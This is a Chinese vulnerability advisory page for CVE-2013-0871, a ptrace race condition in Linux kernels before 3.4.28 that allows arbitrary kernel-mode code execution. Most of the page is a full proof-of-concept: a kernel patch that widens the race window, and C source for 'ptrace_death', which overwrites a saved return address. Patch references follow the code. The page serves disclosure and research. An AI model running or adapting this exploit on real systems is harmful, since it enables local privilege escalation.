Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / Linux Kernel ptrace 功能本地权限提升漏洞(CVE-2013-0871)

发布日期:2013-02-15
更新日期:2013-02-20受影响系统:
Linux kernel 3.4.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 57986
 CVE(CAN) ID: CVE-2013-0871
 
Linux Kernel是Linux操作系统的内核。
 
Linux kernel 3.4.28之前版本在处理某些ptrace操作时存在竞争条件错误,可导致读取或写入任意内核栈内存,以内核模式权限执行任意代码。
 
<*来源:Suleiman Souhlal
 
 链接:http://secunia.com/advisories/52269/
 *>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Code
 --------
 
Salman Qazi provided the following PoC code:
 
Kernel patch for easy reproduction:
 
diff --git a/arch/x86/kernel/ptrace.c b/arch/x86/kernel/ptrace.c
 index b629bbe..e22617e 100644
 --- a/arch/x86/kernel/ptrace.c
 +++ b/arch/x86/kernel/ptrace.c
 @@ -24,6 +24,7 @@
 #include <linux/rcupdate.h>
 #include <linux/module.h>
 #include <linux/context_tracking.h>
 +#include <linux/delay.h>
 
#include <asm/uaccess.h>
 #include <asm/pgtable.h>
 @@ -902,6 +903,12 @@ long arch_ptrace(struct task_struct *child, long request,
                                            datap);
 
        case PTRACE_SETREGS:    /* Set all gp regs in the child. */
 +             if (!strcmp(current->comm, "ptrace_death")) {
 +                     int i;
 +                     WARN_ON_ONCE(1);
 +                     for (i = 0 ; i < 15; i++)
 +                             mdelay(10);
 +             }
               return copy_regset_from_user(child,
                                              task_user_regset_view(current),
                                              REGSET_GENERAL,
 
source code for ptrace_death:
 /*
 * Repro case for SETREGS arbitrary ring zero execution bug.
 *
 * The specific scenario that we attempt to create:
 *
 * V does a syscall.  It is being traced by P.  P
 * upon stopping V with PTRACE_SYSCALL and waiting for it, proceeds
 * to read its registers.  At this time P is asleep and an RT process S
 * starts running.
 *
 * Then P proceeds to write V"s registers, at shortly it has done this
 * another process K kills V.  Process S goes to sleep permitting V
 * space to run.  V wakes up from its waiting state and heads for the exit.
 *  But, S quickly wakes up again by the time V has reached schedule().  V
 * is no longer running (since S has the CPU)
 *  and P modifies its regs.  When V finally starts running
 * and returns from schedule(), it pops an incorrect value from the
 * stack.  The reason is that the stack on which schedule() is called
 * does not have the final 6 registers in pt_regs on it.  That means that
 * when P modifies V"s registers, it is actually overwriting the stack
 * frame saved for schedule(), including the return RIP.
 *
 * V and S and pinned to CPU 0.  S is an RT task so that it can control
 * when V does and doesn"t run.
 * remaining processes are not allowed on 0.
 *
 */
 #include <sched.h>
 #include <sys/ptrace.h>
 #include <sys/user.h>
 #include <stdlib.h>
 #include <stdio.h>
 #include <assert.h>
 #include <signal.h>
 
/* S */
 int nuke_cpu(void)
 {
       int pid0;
       int i;
       unsigned long mask = 1;
 
        pid0 = fork();
       if (!pid0) {
               struct sched_param p = {};
               p.sched_priority = sched_get_priority_min(SCHED_FIFO);
               assert(!sched_setscheduler(0, SCHED_FIFO, &p));
               assert(!sched_setaffinity(0, sizeof(mask), &mask));
               i = 0;
               usleep(120000);
               while(1) {
                       if (i == 50000) {
                               usleep(10);
                               printf("x");
                               fflush(stdout);
                       }
                       i++;
               }
       }
 
        return pid0;
 
}
 int once()
 {
       long i;
       int pid0;
       int pid;
       unsigned long mask = 1;
       struct user_regs_struct regs;
       assert(!sched_setaffinity(0, sizeof(mask), &mask));
 
        pid = fork();
 
        if (!pid) {
               /* V */
               while (1) {
                       /* Put our chosen RIP in callee saved registers */
                       asm __volatile__ (
                               "mov $0x1eadbeef, %%rbx "
                               "mov $0x1eadbeef, %%rbp "
                               "mov $0x1eadbeef, %%r12 "
                               "mov $0x1eadbeef, %%r13 "
                               "mov $0x1eadbeef, %%r14 "
                               "mov $0x1eadbeef, %%r15 "
                               "mov $0, %%rsi "
                               "mov $0, %%rdi "
                               "mov $0x6d, %%rax "
                               "syscall":::"rax","rsi","rdi",
                                               "r12", "rbx");
 
                }
       } else {
               /* P */
               assert(!ptrace(PTRACE_ATTACH, pid, 0, 0));
               wait(NULL);
               assert(!ptrace(PTRACE_SETOPTIONS, pid, NULL,
                       PTRACE_O_TRACESYSGOOD |
                       PTRACE_O_TRACEFORK |
                       PTRACE_O_TRACEVFORK |
                       PTRACE_O_TRACECLONE));
               while(1) {
                       int nuke_pid;
                       int pid2;
                       mask = 0xfffe;
                       assert(!sched_setaffinity(0, sizeof(mask), &mask));
                       /*Entry */
                       assert(!ptrace(PTRACE_SYSCALL, pid, NULL, 0, 0));
                       wait(NULL);
                       assert(!ptrace(PTRACE_GETREGS, pid, NULL, &regs));
 
                        nuke_pid = nuke_cpu();
 
                        regs.orig_rax = 0x3c;
 
                        pid2 = fork();
                       if (!pid2) {
                               /* K */
                               usleep(120000);
                               kill(pid, SIGKILL);
                               printf(".");
                               fflush(stdout);
                               exit(0);
                       }
                       printf("{");
                       fflush(stdout);
                       if (!ptrace(PTRACE_SETREGS, pid, NULL, &regs)) {
                               printf("+");
                       } else {
                               printf("-");
                       }
 
                        ptrace(PTRACE_CONT, pid, NULL, 0, SIGKILL);
                       kill(pid, SIGKILL);
                       kill(pid2, SIGKILL);
                       kill(nuke_pid, SIGKILL);
                       exit(0);
               }
       }
 }
 
int main(void) {
 
        while (1) {
               int pid = fork();
               if (!pid) {
                       once();
               }
               wait(NULL);
       }
 }建议:
--------------------------------------------------------------------------------
临时解决方法:
 
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
 
- 910ffdb18a6408e14febbb6e4b6840fd2c928c82
 - 9899d11f654474d2d54ea52ceaa2a1f4db3abd68
 - 9067ac85d533651b98c2ff903182a20cbb361fcb
 
厂商补丁:
 
Linux
 -----
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
http://www.kernel.org/IBM InfoSphere DataStage "LoggingViewAdmin.do" 多个HTML注入漏洞Adobe Shockwave Player栈缓冲区溢出漏洞(CVE-2013-0636)(APSB13-06)相关资讯      Linux Kernel安全漏洞 
  • Linux kernel is_ashmem_file函数  (今 06:38)
  • Linux Kernel远程拒绝服务漏洞(CVE  (11/16/2013 16:44:42)
  • Linux Kernel "skb_flow_dissect()  (11/08/2013 18:30:53)
  • Linux Kernel "__nfs4_get_acl_  (11/19/2013 18:39:43)
  • Linux Kernel整数溢出漏洞(CVE-  (11/15/2013 15:38:16)
  • Linux Kernel 多个整数溢出漏洞(  (11/07/2013 16:54:57)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各